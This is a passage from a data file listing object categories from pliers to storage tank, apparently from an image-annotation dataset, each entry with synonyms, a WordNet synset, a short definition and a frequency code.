two hinged arms and (usually) serrated jaws', 'id': 579, 'synset': 'pliers.n.01', 'name': 'pliers', 'frequency': 'c'}, {'synonyms': ['pocketknife'], 'def': 'a knife with a blade that folds into the handle; suitable for carrying in the pocket', 'id': 580, 'synset': 'pocketknife.n.01', 'name': 'pocketknife', 'frequency': 'c'}, {'synonyms': ['poker_(fire_stirring_tool)', 'stove_poker', 'fire_hook'], 'def': 'fire iron consisting of a metal rod with a handle; used to stir a fire', 'id': 581, 'synset': 'poker.n.01', 'name': 'poker_(fire_stirring_tool)', 'frequency': 'c'}, {'synonyms': ['pole', 'post'], 'def': 'a long (usually round) rod of wood or metal or plastic', 'id': 582, 'synset': 'pole.n.01', 'name': 'pole', 'frequency': 'f'}, {'synonyms': ['polo_shirt', 'sport_shirt'], 'def': 'a shirt with short sleeves designed for comfort and casual wear', 'id': 583, 'synset': 'polo_shirt.n.01', 'name': 'polo_shirt', 'frequency': 'f'}, {'synonyms': ['pony'], 'def': 'any of various breeds of small gentle horses usually less than five feet high at the shoulder', 'id': 584, 'synset': 'pony.n.05', 'name': 'pony', 'frequency': 'c'}, {'synonyms': ['pop_(soda)', 'soda_(pop)', 'tonic', 'soft_drink'], 'def': 'a sweet drink containing carbonated water and flavoring', 'id': 585, 'synset': 'pop.n.02', 'name': 'pop_(soda)', 'frequency': 'f'}, {'synonyms': ['postbox_(public)', 'mailbox_(public)'], 'def': 'public box for deposit of mail', 'id': 586, 'synset': 'postbox.n.01', 'name': 'postbox_(public)', 'frequency': 'c'}, {'synonyms': ['postcard', 'postal_card', 'mailing-card'], 'def': 'a card for sending messages by post without an envelope', 'id': 587, 'synset': 'postcard.n.01', 'name': 'postcard', 'frequency': 'c'}, {'synonyms': ['poster', 'placard'], 'def': 'a sign posted in a public place as an advertisement', 'id': 588, 'synset': 'poster.n.01', 'name': 'poster', 'frequency': 'f'}, {'synonyms': ['pot'], 'def': 'metal or earthenware cooking vessel that is usually round and deep; often has a handle and lid', 'id': 589, 'synset': 'pot.n.01', 'name': 'pot', 'frequency': 'f'}, {'synonyms': ['flowerpot'], 'def': 'a container in which plants are cultivated', 'id': 590, 'synset': 'pot.n.04', 'name': 'flowerpot', 'frequency': 'f'}, {'synonyms': ['potato'], 'def': 'an edible tuber native to South America', 'id': 591, 'synset': 'potato.n.01', 'name': 'potato', 'frequency': 'f'}, {'synonyms': ['potholder'], 'def': 'an insulated pad for holding hot pots', 'id': 592, 'synset': 'potholder.n.01', 'name': 'potholder', 'frequency': 'c'}, {'synonyms': ['pottery', 'clayware'], 'def': 'ceramic ware made from clay and baked in a kiln', 'id': 593, 'synset': 'pottery.n.01', 'name': 'pottery', 'frequency': 'c'}, {'synonyms': ['pouch'], 'def': 'a small or medium size container for holding or carrying things', 'id': 594, 'synset': 'pouch.n.01', 'name': 'pouch', 'frequency': 'c'}, {'synonyms': ['power_shovel', 'excavator', 'digger'], 'def': 'a machine for excavating', 'id': 595, 'synset': 'power_shovel.n.01', 'name': 'power_shovel', 'frequency': 'c'}, {'synonyms': ['prawn', 'shrimp'], 'def': 'any of various edible decapod crustaceans', 'id': 596, 'synset': 'prawn.n.01', 'name': 'prawn', 'frequency': 'c'}, {'synonyms': ['pretzel'], 'def': 'glazed and salted cracker typically in the shape of a loose knot', 'id': 597, 'synset': 'pretzel.n.01', 'name': 'pretzel', 'frequency': 'c'}, {'synonyms': ['printer', 'printing_machine'], 'def': 'a machine that prints', 'id': 598, 'synset': 'printer.n.03', 'name': 'printer', 'frequency': 'f'}, {'synonyms': ['projectile_(weapon)', 'missile'], 'def': 'a weapon that is forcibly thrown or projected at a targets', 'id': 599, 'synset': 'projectile.n.01', 'name': 'projectile_(weapon)', 'frequency': 'c'}, {'synonyms': ['projector'], 'def': 'an optical instrument that projects an enlarged image onto a screen', 'id': 600, 'synset': 'projector.n.02', 'name': 'projector', 'frequency': 'c'}, {'synonyms': ['propeller', 'propellor'], 'def': 'a mechanical device that rotates to push against air or water', 'id': 601, 'synset': 'propeller.n.01', 'name': 'propeller', 'frequency': 'f'}, {'synonyms': ['pumpkin'], 'def': 'usually large pulpy deep-yellow round fruit of the squash family maturing in late summer or early autumn', 'id': 602, 'synset': 'pumpkin.n.02', 'name': 'pumpkin', 'frequency': 'c'}, {'synonyms': ['puppy'], 'def': 'a young dog', 'id': 603, 'synset': 'puppy.n.01', 'name': 'puppy', 'frequency': 'c'}, {'synonyms': ['quilt', 'comforter'], 'def': 'bedding made of two layers of cloth filled with stuffing and stitched together', 'id': 604, 'synset': 'quilt.n.01', 'name': 'quilt', 'frequency': 'f'}, {'synonyms': ['rabbit'], 'def': 'any of various burrowing animals of the family Leporidae having long ears and short tails', 'id': 605, 'synset': 'rabbit.n.01', 'name': 'rabbit', 'frequency': 'c'}, {'synonyms': ['racket', 'racquet'], 'def': 'a sports implement used to strike a ball in various games', 'id': 606, 'synset': 'racket.n.04', 'name': 'racket', 'frequency': 'c'}, {'synonyms': ['radiator'], 'def': 'a mechanism consisting of a metal honeycomb through which hot fluids circulate', 'id': 607, 'synset': 'radiator.n.03', 'name': 'radiator', 'frequency': 'f'}, {'synonyms': ['radio_receiver', 'radio_set', 'radio', 'tuner_(radio)'], 'def': 'an electronic receiver that detects and demodulates and amplifies transmitted radio signals', 'id': 608, 'synset': 'radio_receiver.n.01', 'name': 'radio_receiver', 'frequency': 'c'}, {'synonyms': ['radish', 'daikon'], 'def': 'pungent edible root of any of various cultivated radish plants', 'id': 609, 'synset': 'radish.n.03', 'name': 'radish', 'frequency': 'c'}, {'synonyms': ['raft'], 'def': 'a flat float (usually made of logs or planks) that can be used for transport or as a platform for swimmers', 'id': 610, 'synset': 'raft.n.01', 'name': 'raft', 'frequency': 'c'}, {'synonyms': ['raincoat', 'waterproof_jacket'], 'def': 'a water-resistant coat', 'id': 611, 'synset': 'raincoat.n.01', 'name': 'raincoat', 'frequency': 'c'}, {'synonyms': ['ram_(animal)'], 'def': 'uncastrated adult male sheep', 'id': 612, 'synset': 'ram.n.05', 'name': 'ram_(animal)', 'frequency': 'c'}, {'synonyms': ['raspberry'], 'def': 'red or black edible aggregate berries usually smaller than the related blackberries', 'id': 613, 'synset': 'raspberry.n.02', 'name': 'raspberry', 'frequency': 'c'}, {'synonyms': ['razorblade'], 'def': 'a blade that has very sharp edge', 'id': 614, 'synset': 'razorblade.n.01', 'name': 'razorblade', 'frequency': 'c'}, {'synonyms': ['reamer_(juicer)', 'juicer', 'juice_reamer'], 'def': 'a squeezer with a conical ridged center that is used for squeezing juice from citrus fruit', 'id': 615, 'synset': 'reamer.n.01', 'name': 'reamer_(juicer)', 'frequency': 'c'}, {'synonyms': ['rearview_mirror'], 'def': 'vehicle mirror (side or rearview)', 'id': 616, 'synset': 'rearview_mirror.n.01', 'name': 'rearview_mirror', 'frequency': 'f'}, {'synonyms': ['receipt'], 'def': 'an acknowledgment (usually tangible) that payment has been made', 'id': 617, 'synset': 'receipt.n.02', 'name': 'receipt', 'frequency': 'c'}, {'synonyms': ['recliner', 'reclining_chair', 'lounger_(chair)'], 'def': 'an armchair whose back can be lowered and foot can be raised to allow the sitter to recline in it', 'id': 618, 'synset': 'recliner.n.01', 'name': 'recliner', 'frequency': 'c'}, {'synonyms': ['record_player', 'phonograph_(record_player)', 'turntable'], 'def': 'machine in which rotating records cause a stylus to vibrate and the vibrations are amplified acoustically or electronically', 'id': 619, 'synset': 'record_player.n.01', 'name': 'record_player', 'frequency': 'c'}, {'synonyms': ['reflector'], 'def': 'device that reflects light, radiation, etc.', 'id': 620, 'synset': 'reflector.n.01', 'name': 'reflector', 'frequency': 'f'}, {'synonyms': ['remote_control'], 'def': 'a device that can be used to control a machine or apparatus from a distance', 'id': 621, 'synset': 'remote_control.n.01', 'name': 'remote_control', 'frequency': 'f'}, {'synonyms': ['rhinoceros'], 'def': 'massive powerful herbivorous odd-toed ungulate of southeast Asia and Africa having very thick skin and one or two horns on the snout', 'id': 622, 'synset': 'rhinoceros.n.01', 'name': 'rhinoceros', 'frequency': 'c'}, {'synonyms': ['rifle'], 'def': 'a shoulder firearm with a long barrel', 'id': 623, 'synset': 'rifle.n.01', 'name': 'rifle', 'frequency': 'c'}, {'synonyms': ['ring'], 'def': 'jewelry consisting of a circlet of precious metal (often set with jewels) worn on the finger', 'id': 624, 'synset': 'ring.n.08', 'name': 'ring', 'frequency': 'f'}, {'synonyms': ['robe'], 'def': 'any loose flowing garment', 'id': 625, 'synset': 'robe.n.01', 'name': 'robe', 'frequency': 'c'}, {'synonyms': ['rocking_chair'], 'def': 'a chair mounted on rockers', 'id': 626, 'synset': 'rocking_chair.n.01', 'name': 'rocking_chair', 'frequency': 'c'}, {'synonyms': ['rolling_pin'], 'def': 'utensil consisting of a cylinder (usually of wood) with a handle at each end; used to roll out dough', 'id': 627, 'synset': 'rolling_pin.n.01', 'name': 'rolling_pin', 'frequency': 'c'}, {'synonyms': ['router_(computer_equipment)'], 'def': 'a device that forwards data packets between computer networks', 'id': 628, 'synset': 'router.n.02', 'name': 'router_(computer_equipment)', 'frequency': 'c'}, {'synonyms': ['rubber_band', 'elastic_band'], 'def': 'a narrow band of elastic rubber used to hold things (such as papers) together', 'id': 629, 'synset': 'rubber_band.n.01', 'name': 'rubber_band', 'frequency': 'f'}, {'synonyms': ['runner_(carpet)'], 'def': 'a long narrow carpet', 'id': 630, 'synset': 'runner.n.08', 'name': 'runner_(carpet)', 'frequency': 'c'}, {'synonyms': ['plastic_bag', 'paper_bag'], 'def': 'a bag made of paper or plastic for holding customer's purchases', 'id': 631, 'synset': 'sack.n.01', 'name': 'plastic_bag', 'frequency': 'f'}, {'synonyms': ['saddle_(on_an_animal)'], 'def': 'a seat for the rider of a horse or camel', 'id': 632, 'synset': 'saddle.n.01', 'name': 'saddle_(on_an_animal)', 'frequency': 'f'}, {'synonyms': ['saddle_blanket', 'saddlecloth', 'horse_blanket'], 'def': 'stable gear consisting of a blanket placed under the saddle', 'id': 633, 'synset': 'saddle_blanket.n.01', 'name': 'saddle_blanket', 'frequency': 'f'}, {'synonyms': ['saddlebag'], 'def': 'a large bag (or pair of bags) hung over a saddle', 'id': 634, 'synset': 'saddlebag.n.01', 'name': 'saddlebag', 'frequency': 'c'}, {'synonyms': ['sail'], 'def': 'a large piece of fabric by means of which wind is used to propel a sailing vessel', 'id': 635, 'synset': 'sail.n.01', 'name': 'sail', 'frequency': 'f'}, {'synonyms': ['salad'], 'def': 'food mixtures either arranged on a plate or tossed and served with a moist dressing; usually consisting of or including greens', 'id': 636, 'synset': 'salad.n.01', 'name': 'salad', 'frequency': 'f'}, {'synonyms': ['salami'], 'def': 'highly seasoned fatty sausage of pork and beef usually dried', 'id': 637, 'synset': 'salami.n.01', 'name': 'salami', 'frequency': 'c'}, {'synonyms': ['salmon_(fish)'], 'def': 'any of various large food and game fishes of northern waters', 'id': 638, 'synset': 'salmon.n.01', 'name': 'salmon_(fish)', 'frequency': 'c'}, {'synonyms': ['salsa'], 'def': 'spicy sauce of tomatoes and onions and chili peppers to accompany Mexican foods', 'id': 639, 'synset': 'salsa.n.01', 'name': 'salsa', 'frequency': 'c'}, {'synonyms': ['saltshaker'], 'def': 'a shaker with a perforated top for sprinkling salt', 'id': 640, 'synset': 'saltshaker.n.01', 'name': 'saltshaker', 'frequency': 'f'}, {'synonyms': ['sandal_(type_of_shoe)'], 'def': 'a shoe consisting of a sole fastened by straps to the foot', 'id': 641, 'synset': 'sandal.n.01', 'name': 'sandal_(type_of_shoe)', 'frequency': 'f'}, {'synonyms': ['sandwich'], 'def': 'two (or more) slices of bread with a filling between them', 'id': 642, 'synset': 'sandwich.n.01', 'name': 'sandwich', 'frequency': 'f'}, {'synonyms': ['saucer'], 'def': 'a small shallow dish for holding a cup at the table', 'id': 643, 'synset': 'saucer.n.02', 'name': 'saucer', 'frequency': 'f'}, {'synonyms': ['sausage'], 'def': 'highly seasoned minced meat stuffed in casings', 'id': 644, 'synset': 'sausage.n.01', 'name': 'sausage', 'frequency': 'f'}, {'synonyms': ['scale_(measuring_instrument)'], 'def': 'a measuring instrument for weighing; shows amount of mass', 'id': 645, 'synset': 'scale.n.07', 'name': 'scale_(measuring_instrument)', 'frequency': 'f'}, {'synonyms': ['scarf'], 'def': 'a garment worn around the head or neck or shoulders for warmth or decoration', 'id': 646, 'synset': 'scarf.n.01', 'name': 'scarf', 'frequency': 'f'}, {'synonyms': ['school_bus'], 'def': 'a bus used to transport children to or from school', 'id': 647, 'synset': 'school_bus.n.01', 'name': 'school_bus', 'frequency': 'c'}, {'synonyms': ['scissors'], 'def': 'a tool having two crossed pivoting blades with looped handles', 'id': 648, 'synset': 'scissors.n.01', 'name': 'scissors', 'frequency': 'f'}, {'synonyms': ['scoreboard'], 'def': 'a large board for displaying the score of a contest (and some other information)', 'id': 649, 'synset': 'scoreboard.n.01', 'name': 'scoreboard', 'frequency': 'f'}, {'synonyms': ['screwdriver'], 'def': 'a hand tool for driving screws; has a tip that fits into the head of a screw', 'id': 650, 'synset': 'screwdriver.n.01', 'name': 'screwdriver', 'frequency': 'c'}, {'synonyms': ['scrubbing_brush'], 'def': 'a brush with short stiff bristles for heavy cleaning', 'id': 651, 'synset': 'scrub_brush.n.01', 'name': 'scrubbing_brush', 'frequency': 'f'}, {'synonyms': ['sculpture'], 'def': 'a three-dimensional work of art', 'id': 652, 'synset': 'sculpture.n.01', 'name': 'sculpture', 'frequency': 'c'}, {'synonyms': ['seabird', 'seafowl'], 'def': 'a bird that frequents coastal waters and the open ocean: gulls; pelicans; gannets; cormorants; albatrosses; petrels; etc.', 'id': 653, 'synset': 'seabird.n.01', 'name': 'seabird', 'frequency': 'c'}, {'synonyms': ['seahorse'], 'def': 'small fish with horse-like heads bent sharply downward and curled tails', 'id': 654, 'synset': 'seahorse.n.02', 'name': 'seahorse', 'frequency': 'c'}, {'synonyms': ['seashell'], 'def': 'the shell of a marine organism', 'id': 655, 'synset': 'seashell.n.01', 'name': 'seashell', 'frequency': 'c'}, {'synonyms': ['sewing_machine'], 'def': 'a textile machine used as a home appliance for sewing', 'id': 656, 'synset': 'sewing_machine.n.01', 'name': 'sewing_machine', 'frequency': 'c'}, {'synonyms': ['shaker'], 'def': 'a container in which something can be shaken', 'id': 657, 'synset': 'shaker.n.03', 'name': 'shaker', 'frequency': 'c'}, {'synonyms': ['shampoo'], 'def': 'cleansing agent consisting of soaps or detergents used for washing the hair', 'id': 658, 'synset': 'shampoo.n.01', 'name': 'shampoo', 'frequency': 'c'}, {'synonyms': ['shark'], 'def': 'typically large carnivorous fishes with sharpe teeth', 'id': 659, 'synset': 'shark.n.01', 'name': 'shark', 'frequency': 'c'}, {'synonyms': ['shaving_cream', 'shaving_soap'], 'def': 'toiletry consisting that forms a rich lather for softening the beard before shaving', 'id': 660, 'synset': 'shaving_cream.n.01', 'name': 'shaving_cream', 'frequency': 'c'}, {'synonyms': ['sheep'], 'def': 'woolly usually horned ruminant mammal related to the goat', 'id': 661, 'synset': 'sheep.n.01', 'name': 'sheep', 'frequency': 'f'}, {'synonyms': ['shield'], 'def': 'armor carried on the arm to intercept blows', 'id': 662, 'synset': 'shield.n.02', 'name': 'shield', 'frequency': 'c'}, {'synonyms': ['shirt'], 'def': 'a garment worn on the upper half of the body', 'id': 663, 'synset': 'shirt.n.01', 'name': 'shirt', 'frequency': 'f'}, {'synonyms': ['shoe', 'sneaker_(type_of_shoe)', 'tennis_shoe'], 'def': 'common footwear covering the foot', 'id': 664, 'synset': 'shoe.n.01', 'name': 'shoe', 'frequency': 'f'}, {'synonyms': ['shopping_bag'], 'def': 'a bag made of plastic or strong paper (often with handles); used to transport goods after shopping', 'id': 665, 'synset': 'shopping_bag.n.01', 'name': 'shopping_bag', 'frequency': 'f'}, {'synonyms': ['shopping_cart'], 'def': 'a handcart that holds groceries or other goods while shopping', 'id': 666, 'synset': 'shopping_cart.n.01', 'name': 'shopping_cart', 'frequency': 'c'}, {'synonyms': ['short_pants', 'shorts_(clothing)', 'trunks_(clothing)'], 'def': 'trousers that end at or above the knee', 'id': 667, 'synset': 'short_pants.n.01', 'name': 'short_pants', 'frequency': 'f'}, {'synonyms': ['shoulder_bag'], 'def': 'a large handbag that can be carried by a strap looped over the shoulder', 'id': 668, 'synset': 'shoulder_bag.n.01', 'name': 'shoulder_bag', 'frequency': 'f'}, {'synonyms': ['shovel'], 'def': 'a hand tool for lifting loose material such as snow, dirt, etc.', 'id': 669, 'synset': 'shovel.n.01', 'name': 'shovel', 'frequency': 'c'}, {'synonyms': ['shower_head'], 'def': 'a plumbing fixture that sprays water over you', 'id': 670, 'synset': 'shower.n.01', 'name': 'shower_head', 'frequency': 'f'}, {'synonyms': ['shower_curtain'], 'def': 'a curtain that keeps water from splashing out of the shower area', 'id': 671, 'synset': 'shower_curtain.n.01', 'name': 'shower_curtain', 'frequency': 'f'}, {'synonyms': ['signboard'], 'def': 'structure displaying a board on which advertisements can be posted', 'id': 672, 'synset': 'signboard.n.01', 'name': 'signboard', 'frequency': 'f'}, {'synonyms': ['silo'], 'def': 'a cylindrical tower used for storing goods', 'id': 673, 'synset': 'silo.n.01', 'name': 'silo', 'frequency': 'c'}, {'synonyms': ['sink'], 'def': 'plumbing fixture consisting of a water basin fixed to a wall or floor and having a drainpipe', 'id': 674, 'synset': 'sink.n.01', 'name': 'sink', 'frequency': 'f'}, {'synonyms': ['skateboard'], 'def': 'a board with wheels that is ridden in a standing or crouching position and propelled by foot', 'id': 675, 'synset': 'skateboard.n.01', 'name': 'skateboard', 'frequency': 'f'}, {'synonyms': ['skewer'], 'def': 'a long pin for holding meat in position while it is being roasted', 'id': 676, 'synset': 'skewer.n.01', 'name': 'skewer', 'frequency': 'c'}, {'synonyms': ['ski'], 'def': 'sports equipment for skiing on snow', 'id': 677, 'synset': 'ski.n.01', 'name': 'ski', 'frequency': 'f'}, {'synonyms': ['ski_boot'], 'def': 'a stiff boot that is fastened to a ski with a ski binding', 'id': 678, 'synset': 'ski_boot.n.01', 'name': 'ski_boot', 'frequency': 'f'}, {'synonyms': ['ski_parka', 'ski_jacket'], 'def': 'a parka to be worn while skiing', 'id': 679, 'synset': 'ski_parka.n.01', 'name': 'ski_parka', 'frequency': 'f'}, {'synonyms': ['ski_pole'], 'def': 'a pole with metal points used as an aid in skiing', 'id': 680, 'synset': 'ski_pole.n.01', 'name': 'ski_pole', 'frequency': 'f'}, {'synonyms': ['skirt'], 'def': 'a garment hanging from the waist; worn mainly by girls and women', 'id': 681, 'synset': 'skirt.n.02', 'name': 'skirt', 'frequency': 'f'}, {'synonyms': ['sled', 'sledge', 'sleigh'], 'def': 'a vehicle or flat object for transportation over snow by sliding or pulled by dogs, etc.', 'id': 682, 'synset': 'sled.n.01', 'name': 'sled', 'frequency': 'c'}, {'synonyms': ['sleeping_bag'], 'def': 'large padded bag designed to be slept in outdoors', 'id': 683, 'synset': 'sleeping_bag.n.01', 'name': 'sleeping_bag', 'frequency': 'c'}, {'synonyms': ['slipper_(footwear)', 'carpet_slipper_(footwear)'], 'def': 'low footwear that can be slipped on and off easily; usually worn indoors', 'id': 684, 'synset': 'slipper.n.01', 'name': 'slipper_(footwear)', 'frequency': 'c'}, {'synonyms': ['snowboard'], 'def': 'a board that resembles a broad ski or a small surfboard; used in a standing position to slide down snow-covered slopes', 'id': 685, 'synset': 'snowboard.n.01', 'name': 'snowboard', 'frequency': 'f'}, {'synonyms': ['snowman'], 'def': 'a figure of a person made of packed snow', 'id': 686, 'synset': 'snowman.n.01', 'name': 'snowman', 'frequency': 'c'}, {'synonyms': ['snowmobile'], 'def': 'tracked vehicle for travel on snow having skis in front', 'id': 687, 'synset': 'snowmobile.n.01', 'name': 'snowmobile', 'frequency': 'c'}, {'synonyms': ['soap'], 'def': 'a cleansing agent made from the salts of vegetable or animal fats', 'id': 688, 'synset': 'soap.n.01', 'name': 'soap', 'frequency': 'f'}, {'synonyms': ['soccer_ball'], 'def': 'an inflated ball used in playing soccer (called `football' outside of the United States)', 'id': 689, 'synset': 'soccer_ball.n.01', 'name': 'soccer_ball', 'frequency': 'f'}, {'synonyms': ['sock'], 'def': 'cloth covering for the foot; worn inside the shoe; reaches to between the ankle and the knee', 'id': 690, 'synset': 'sock.n.01', 'name': 'sock', 'frequency': 'f'}, {'synonyms': ['sofa', 'couch', 'lounge'], 'def': 'an upholstered seat for more than one person', 'id': 691, 'synset': 'sofa.n.01', 'name': 'sofa', 'frequency': 'f'}, {'synonyms': ['solar_array', 'solar_battery', 'solar_panel'], 'def': 'electrical device consisting of a large array of connected solar cells', 'id': 692, 'synset': 'solar_array.n.01', 'name': 'solar_array', 'frequency': 'c'}, {'synonyms': ['soup'], 'def': 'liquid food especially of meat or fish or vegetable stock often containing pieces of solid food', 'id': 693, 'synset': 'soup.n.01', 'name': 'soup', 'frequency': 'f'}, {'synonyms': ['soupspoon'], 'def': 'a spoon with a rounded bowl for eating soup', 'id': 694, 'synset': 'soupspoon.n.01', 'name': 'soupspoon', 'frequency': 'c'}, {'synonyms': ['sour_cream', 'soured_cream'], 'def': 'soured light cream', 'id': 695, 'synset': 'sour_cream.n.01', 'name': 'sour_cream', 'frequency': 'c'}, {'synonyms': ['spatula'], 'def': 'a hand tool with a thin flexible blade used to mix or spread soft substances', 'id': 696, 'synset': 'spatula.n.02', 'name': 'spatula', 'frequency': 'f'}, {'synonyms': ['spectacles', 'specs', 'eyeglasses', 'glasses'], 'def': 'optical instrument consisting of a frame that holds a pair of lenses for correcting defective vision', 'id': 697, 'synset': 'spectacles.n.01', 'name': 'spectacles', 'frequency': 'f'}, {'synonyms': ['spice_rack'], 'def': 'a rack for displaying containers filled with spices', 'id': 698, 'synset': 'spice_rack.n.01', 'name': 'spice_rack', 'frequency': 'c'}, {'synonyms': ['spider'], 'def': 'predatory arachnid with eight legs, two poison fangs, two feelers, and usually two silk-spinning organs at the back end of the body', 'id': 699, 'synset': 'spider.n.01', 'name': 'spider', 'frequency': 'c'}, {'synonyms': ['sponge'], 'def': 'a porous mass usable to absorb water typically used for cleaning', 'id': 700, 'synset': 'sponge.n.01', 'name': 'sponge', 'frequency': 'c'}, {'synonyms': ['spoon'], 'def': 'a piece of cutlery with a shallow bowl-shaped container and a handle', 'id': 701, 'synset': 'spoon.n.01', 'name': 'spoon', 'frequency': 'f'}, {'synonyms': ['sportswear', 'athletic_wear', 'activewear'], 'def': 'attire worn for sport or for casual wear', 'id': 702, 'synset': 'sportswear.n.01', 'name': 'sportswear', 'frequency': 'c'}, {'synonyms': ['spotlight'], 'def': 'a lamp that produces a strong beam of light to illuminate a restricted area; used to focus attention of a stage performer', 'id': 703, 'synset': 'spotlight.n.02', 'name': 'spotlight', 'frequency': 'c'}, {'synonyms': ['squirrel'], 'def': 'a kind of arboreal rodent having a long bushy tail', 'id': 704, 'synset': 'squirrel.n.01', 'name': 'squirrel', 'frequency': 'c'}, {'synonyms': ['stapler_(stapling_machine)'], 'def': 'a machine that inserts staples into sheets of paper in order to fasten them together', 'id': 705, 'synset': 'stapler.n.01', 'name': 'stapler_(stapling_machine)', 'frequency': 'c'}, {'synonyms': ['starfish', 'sea_star'], 'def': 'echinoderms characterized by five arms extending from a central disk', 'id': 706, 'synset': 'starfish.n.01', 'name': 'starfish', 'frequency': 'c'}, {'synonyms': ['statue_(sculpture)'], 'def': 'a sculpture representing a human or animal', 'id': 707, 'synset': 'statue.n.01', 'name': 'statue_(sculpture)', 'frequency': 'f'}, {'synonyms': ['steak_(food)'], 'def': 'a slice of meat cut from the fleshy part of an animal or large fish', 'id': 708, 'synset': 'steak.n.01', 'name': 'steak_(food)', 'frequency': 'c'}, {'synonyms': ['steering_wheel'], 'def': 'a handwheel that is used for steering', 'id': 709, 'synset': 'steering_wheel.n.01', 'name': 'steering_wheel', 'frequency': 'f'}, {'synonyms': ['step_stool'], 'def': 'a stool that has one or two steps that fold under the seat', 'id': 710, 'synset': 'step_stool.n.01', 'name': 'step_stool', 'frequency': 'c'}, {'synonyms': ['stereo_(sound_system)'], 'def': 'electronic device for playing audio', 'id': 711, 'synset': 'stereo.n.01', 'name': 'stereo_(sound_system)', 'frequency': 'c'}, {'synonyms': ['stirrup'], 'def': 'support consisting of metal loops into which rider's feet go', 'id': 712, 'synset': 'stirrup.n.01', 'name': 'stirrup', 'frequency': 'f'}, {'synonyms': ['stool'], 'def': 'a simple seat without a back or arms', 'id': 713, 'synset': 'stool.n.01', 'name': 'stool', 'frequency': 'f'}, {'synonyms': ['stop_sign'], 'def': 'a traffic sign to notify drivers that they must come to a complete stop', 'id': 714, 'synset': 'stop_sign.n.01', 'name': 'stop_sign', 'frequency': 'f'}, {'synonyms': ['brake_light'], 'def': 'a red light on the rear of a motor vehicle that signals when the brakes are applied', 'id': 715, 'synset': 'stoplight.n.01', 'name': 'brake_light', 'frequency': 'f'}, {'synonyms': ['stove', 'kitchen_stove', 'range_(kitchen_appliance)', 'kitchen_range', 'cooking_stove'], 'def': 'a kitchen appliance used for cooking food', 'id': 716, 'synset': 'stove.n.01', 'name': 'stove', 'frequency': 'f'}, {'synonyms': ['strainer'], 'def': 'a filter to retain larger pieces while smaller pieces and liquids pass through', 'id': 717, 'synset': 'strainer.n.01', 'name': 'strainer', 'frequency': 'c'}, {'synonyms': ['strap'], 'def': 'an elongated strip of material for binding things together or holding', 'id': 718, 'synset': 'strap.n.01', 'name': 'strap', 'frequency': 'f'}, {'synonyms': ['straw_(for_drinking)', 'drinking_straw'], 'def': 'a thin paper or plastic tube used to suck liquids into the mouth', 'id': 719, 'synset': 'straw.n.04', 'name': 'straw_(for_drinking)', 'frequency': 'f'}, {'synonyms': ['strawberry'], 'def': 'sweet fleshy red fruit', 'id': 720, 'synset': 'strawberry.n.01', 'name': 'strawberry', 'frequency': 'f'}, {'synonyms': ['street_sign'], 'def': 'a sign visible from the street', 'id': 721, 'synset': 'street_sign.n.01', 'name': 'street_sign', 'frequency': 'f'}, {'synonyms': ['streetlight', 'street_lamp'], 'def': 'a lamp supported on a lamppost; for illuminating a street', 'id': 722, 'synset': 'streetlight.n.01', 'name': 'streetlight', 'frequency': 'f'}, {'synonyms': ['suit_(clothing)'], 'def': 'a set of garments (usually including a jacket and trousers or skirt) for outerwear all of the same fabric and color', 'id': 723, 'synset': 'suit.n.01', 'name': 'suit_(clothing)', 'frequency': 'f'}, {'synonyms': ['sunflower'], 'def': 'any plant of the genus Helianthus having large flower heads with dark disk florets and showy yellow rays', 'id': 724, 'synset': 'sunflower.n.01', 'name': 'sunflower', 'frequency': 'c'}, {'synonyms': ['sunglasses'], 'def': 'spectacles that are darkened or polarized to protect the eyes from the glare of the sun', 'id': 725, 'synset': 'sunglasses.n.01', 'name': 'sunglasses', 'frequency': 'f'}, {'synonyms': ['sunhat'], 'def': 'a hat with a broad brim that protects the face from direct exposure to the sun', 'id': 726, 'synset': 'sunhat.n.01', 'name': 'sunhat', 'frequency': 'c'}, {'synonyms': ['surfboard'], 'def': 'a narrow buoyant board for riding surf', 'id': 727, 'synset': 'surfboard.n.01', 'name': 'surfboard', 'frequency': 'f'}, {'synonyms': ['sushi'], 'def': 'rice (with raw fish) wrapped in seaweed', 'id': 728, 'synset': 'sushi.n.01', 'name': 'sushi', 'frequency': 'c'}, {'synonyms': ['mop'], 'def': 'cleaning implement consisting of absorbent material fastened to a handle; for cleaning floors', 'id': 729, 'synset': 'swab.n.02', 'name': 'mop', 'frequency': 'c'}, {'synonyms': ['sweat_pants'], 'def': 'loose-fitting trousers with elastic cuffs; worn by athletes', 'id': 730, 'synset': 'sweat_pants.n.01', 'name': 'sweat_pants', 'frequency': 'c'}, {'synonyms': ['sweatband'], 'def': 'a band of material tied around the forehead or wrist to absorb sweat', 'id': 731, 'synset': 'sweatband.n.02', 'name': 'sweatband', 'frequency': 'c'}, {'synonyms': ['sweater'], 'def': 'a crocheted or knitted garment covering the upper part of the body', 'id': 732, 'synset': 'sweater.n.01', 'name': 'sweater', 'frequency': 'f'}, {'synonyms': ['sweatshirt'], 'def': 'cotton knit pullover with long sleeves worn during athletic activity', 'id': 733, 'synset': 'sweatshirt.n.01', 'name': 'sweatshirt', 'frequency': 'f'}, {'synonyms': ['sweet_potato'], 'def': 'the edible tuberous root of the sweet potato vine', 'id': 734, 'synset': 'sweet_potato.n.02', 'name': 'sweet_potato', 'frequency': 'c'}, {'synonyms': ['swimsuit', 'swimwear', 'bathing_suit', 'swimming_costume', 'bathing_costume', 'swimming_trunks', 'bathing_trunks'], 'def': 'garment worn for swimming', 'id': 735, 'synset': 'swimsuit.n.01', 'name': 'swimsuit', 'frequency': 'f'}, {'synonyms': ['sword'], 'def': 'a cutting or thrusting weapon that has a long metal blade', 'id': 736, 'synset': 'sword.n.01', 'name': 'sword', 'frequency': 'c'}, {'synonyms': ['table'], 'def': 'a piece of furniture having a smooth flat top that is usually supported by one or more vertical legs', 'id': 737, 'synset': 'table.n.02', 'name': 'table', 'frequency': 'f'}, {'synonyms': ['table_lamp'], 'def': 'a lamp that sits on a table', 'id': 738, 'synset': 'table_lamp.n.01', 'name': 'table_lamp', 'frequency': 'c'}, {'synonyms': ['tablecloth'], 'def': 'a covering spread over a dining table', 'id': 739, 'synset': 'tablecloth.n.01', 'name': 'tablecloth', 'frequency': 'f'}, {'synonyms': ['tag'], 'def': 'a label associated with something for the purpose of identification or information', 'id': 740, 'synset': 'tag.n.02', 'name': 'tag', 'frequency': 'f'}, {'synonyms': ['taillight', 'rear_light'], 'def': 'lamp (usually red) mounted at the rear of a motor vehicle', 'id': 741, 'synset': 'taillight.n.01', 'name': 'taillight', 'frequency': 'f'}, {'synonyms': ['tank_(storage_vessel)', 'storage_tank'], 'def': 'a large (usually metallic) vessel for holding gases or liquids', 'id': 742, 